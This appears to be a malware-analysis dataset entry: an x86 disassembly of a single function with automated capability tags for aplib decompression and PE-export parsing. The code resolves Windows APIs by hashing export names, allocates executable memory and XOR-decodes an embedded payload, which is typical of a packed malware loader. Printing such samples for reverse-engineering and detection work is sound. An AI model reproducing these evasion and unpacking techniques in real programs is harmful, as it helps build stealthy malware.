Function at 0x4016b8
Capabilities:
Decompress data using aplib
Resolve function by parsing pe exports

Disassembly:
mov ecx, dword [ecx]
mov ebx, dword [ecx + 0x18]
test ebx, ebx
je 0x40185e
test byte [edi], ah
add al, byte [eax]
invalid
mov eax, dword [ebx + 0x3c]
mov eax, dword [eax + ebx + 0x78]
test eax, eax
je 0x40180d
mov edx, dword [eax + ebx + 0x18]
test edx, edx
mov dword [esp + 8], edx
je 0x40180d
mov dword [esp + 0x20], ecx
mov ecx, dword [ebx + eax + 0x1c]
mov dword [esp + 0xc], ecx
mov ecx, dword [ebx + eax + 0x20]
mov dword [esp], ecx
mov ecx, dword [ebx + eax + 0x24]
mov dword [esp + 0x10], ecx
mov ecx, dword [ebx + eax + 0xc]
xor eax, eax
add ecx, ebx
xor esi, esi
dec esi
cmp byte [ecx + esi + 1], 0
mov edx, eax
lea esi, [esi + 1]
lea eax, [eax + 1]
jne 0x40167c
add dword [esp + 0xc], ebx
mov ebp, 0x6c6c6a62
sub edx, 1
jb 0x4016a9
movzx esi, byte [ecx]
imul eax, ebp, 0x1f
inc ecx
or esi, 0x20
add esi, eax
mov ebp, esi
jmp 0x401694
add dword [esp + 0x10], ebx
add dword [esp], ebx
xor edi, edi
cmp edi, dword [esp + 8]
je 0x401809
dec ebp
add dword [eax], eax
invalid
mov esi, dword [esp + 0x10]
mov eax, dword [esp]
mov dword [esp + 4], edi
mov ecx, ebp
mov edx, dword [eax + edi*4]
movzx esi, word [esi + edi*2]
mov edi, dword [esp + 0xc]
mov eax, ebx
mov edi, dword [edi + esi*4]
add edx, ebx
xor esi, esi
xor ebx, ebx
dec ebx
cmp byte [edx + ebx + 1], 0
mov ebp, esi
lea ebx, [ebx + 1]
lea esi, [esi + 1]
jne 0x4016e0
mov esi, 0x6c6c6a62
je 0x4017b7
cmp esi, 0x24e77c74
je 0x4017e1
cmp esi, 0x68dd2bef
je 0x4017d5
cmp esi, 0x3b80fb47
je 0x4017c3
cmp esi, 0x3dd7d219
je 0x4017bd
cmp esi, 0x4c76e968
je 0x4017db
inc edx
cmp esi, 0x350cd94e
jne 0x4017ff
lea edx, [esp + 0x58]
jmp 0x4017f1
lea edx, [esp + 0x50]
jmp 0x4017f1
lea edx, [esp + 0x54]
jmp 0x4017f1
lea edx, [esp + 0x3c]
jmp 0x4017f1
lea edx, [esp + 0x14]
jmp 0x4017f1
lea edx, [esp + 0x44]
jmp 0x4017f1
lea edx, [esp + 0x34]
jmp 0x4017f1
add edi, ebx
mov dword [edx], edi
mov edx, dword [esp + 0x18]
inc dl
mov dword [esp + 0x18], edx
mov edi, dword [esp + 4]
inc edi
jmp 0x4016b2
mov ecx, dword [esp + 0x20]
cmp byte [esp + 0x18], 0xe
jne 0x40162a
push 0
push 0
push 0x1f40
push dword [esp + 0x54]
push 0
push 0
call dword [esp + 0x5c]
test eax, eax
je 0x401869
mov edi, dword [esp + 0x50]
mov esi, eax
push 0x1388
push eax
call edi
cmp eax, 0x102
jne 0x40185e
xor ebx, ebx
dec ebx
push 0
push esi
call edi
inc ebx
cmp eax, 0x102
je 0x401849
cmp ebx, 0x26000
jae 0x401869
add esp, 0x164
pop esi
pop edi
pop ebx
pop ebp
ret
lea eax, [esp + 0x64]
push 0x100
push eax
push 0
call dword [esp + 0x4c]
test eax, eax
mov ecx, eax
mov dword [esp + 4], eax
je 0x4018e4
mov ecx, dword [esp + 4]
mov esi, dword [esp + 0x3c]
and dword [esp + 0x1c], 0
lea eax, [esp + 0x64]
xor ebx, ebx
xor ebp, ebp
mov byte [ecx + eax - 4], 0
cmp ebx, 1
jne 0x4018ad
mov eax, dword [esp + 4]
mov byte [esp + eax + 0x60], 0x2e
jmp 0x4018b2
cmp ebx, 2
je 0x4018ea
push 0
push 0
push 3
push 0
push 1
push 0x80000000
lea eax, [esp + 0x7c]
push eax
call esi
inc ebx
cmp eax, 0xffffffff
mov ebp, 0xffffffff
je 0x40189d
mov edi, eax
push 0
push eax
call dword [esp + 0x40]
mov dword [esp + 0x1c], eax
mov ebp, edi
jmp 0x4018ee
push 0xffffffffffffffff
call dword [esp + 0x18]
mov eax, dword [esp + 0x1c]
test eax, eax
je 0x40193f
mov esi, dword [esp + 0x24]
push 0x40
push 0x3000
push eax
push 0
call esi
test eax, eax
mov dword [esp + 0x10], eax
je 0x401945
lea eax, [esp + 0x1c]
push 0
push eax
push dword [eax]
push dword [esp + 0x1c]
push ebp
call dword [esp + 0x48]
test eax, eax
je 0x40194b
mov edx, dword [esp + 0x1c]
mov eax, dword [esp + 0x10]
mov eax, dword [eax + edx - 0x84]
lea ecx, [eax + 0x88]
cmp ecx, edx
jbe 0x401951
push 0xfffffffffffffffa
call dword [esp + 0x18]
push 0xfffffffffffffffe
call dword [esp + 0x18]
push 0xfffffffffffffffd
call dword [esp + 0x18]
push 0xfffffffffffffffc
call dword [esp + 0x18]
mov ecx, dword [esp + 0x10]
mov ebx, edx
add ebx, 0xffffff78
mov edi, dword [ecx + ebx]
sub ebx, eax
lea edx, [ecx + edx - 0x88]
add ebx, ecx
mov dword [esp + 4], edi
xor edi, edi
cmp eax, edi
je 0x401984
mov ebp, edi
and ebp, 0x7f
mov cl, byte [edx + ebp + 8]
xor byte [ebx + edi], cl
inc edi
jmp 0x401971
push 0x40
push 0x3000
push dword [esp + 0xc]
push 0
call esi